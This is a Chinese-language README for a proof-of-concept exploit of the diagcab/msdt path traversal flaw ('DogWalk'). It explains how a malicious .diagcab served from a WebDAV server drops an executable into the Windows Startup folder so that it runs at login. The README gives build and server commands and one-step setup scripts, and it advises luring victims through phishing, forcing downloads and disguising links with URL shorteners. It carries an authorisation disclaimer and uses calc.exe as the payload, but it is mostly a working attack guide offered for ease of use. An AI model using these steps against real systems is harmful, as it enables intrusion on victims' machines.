🚨 免责声明 🚨


该 PoC 允许攻击者在 Windows 受害者设备上实现远程代码注入。

本仓库的目标是让该 PoC 比<a href=https://github.com/irsl/microsoft-diagcab-rce-poc>初始仓库更加易于使用。

未经事先授权，请勿使用！


鉴于其造成的危害和利用的简易性，希望微软能够修复它

2022年7月更新：微软尚未修补 msdt 中的漏洞，但 Microsoft Defender 能够检测到它

• 🧠 理解原理
• 🐾 运行它
• 📺 观看演示

核心概念： 微软 Diagcab 技术（msdt）中的路径遍历漏洞，可能导致远程代码执行。
您可以在博客文章中查看完整安全通告。
该漏洞已被报告 2 年（由 @irsl 报告），至今仍未修复！

工作原理？

该概念验证搭建了一个 webdav 服务器，托管一个恶意 .diagcab 文件，该文件将执行路径遍历，将恶意可执行文件写入 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup。将可执行文件写入此文件夹后，每次用户启动 Windows 机器时都会执行它，这被称为启动登录自动启动执行。

所以，基本上我们需要的是：

• webDAV 服务器
• 恶意 .diagcab 文件
• 恶意可执行文件 （合法的或基本文本文件即可满足 PoC 要求）

🎬 场景

1. 受害者访问某个链接（网络钓鱼、社会工程学或其他方式），该链接将下载 .diagcab 文件

^{（💡 使用 Content-type: application/octet-stream 响应头，使浏览器在访问 URL 时自动下载该文件）}

2. 受害者点击下载的文件（只需点击浏览器下载文件夹中的文件即可轻易/意外触发）
3. cab 文件加载 webdav 恶意可执行文件 -> （路径遍历） 并将其下载到启动菜单中
4. 用户重启设备 -> （RCE）

开始动手吧

如果您懒得（或赶时间）按步骤逐步操作：

./hurry-dogwalk.sh [WEBDAV_URL]         # need docker
# Stop the server
./hurry-dogwalk.sh --clean

否则 ↓↓

🔨 制作 .diagcab 文件

• .diagcfg 是简单的 XML 文件，包含对一个或多个诊断包的引用，并提供关于它们的元信息
• 它们被打包到 Microsoft cabinet 文件归档中，并以 .diagcab 扩展名保存。

首先构建 custom.diagcfg：

./build-malicious-diagcfg.sh --url [WEBDAV_URL]

并构建 hotfix895214.diagcab：

cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe

最后，将其移动到 ./webdav/diagcab-webdav-poc/config 目录中

🏗️ 搭建服务器

将您想要传输到受害者机器上的可执行文件放入 ./webdav/malicious 目录中... ^{（这里我们使用经典的 calc.exe）}

...然后启动服务器：

cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl

恶意 .diagcab 文件可通过 https://[WEBDAV_URL]/config/hotfix895214.diagcab 获取。现在您需要引诱受害者点击此链接。

^{（💡 您可以使用 URL 缩短器，使其看起来不那么可疑）}

👁️ 拭目以待

🐾🐾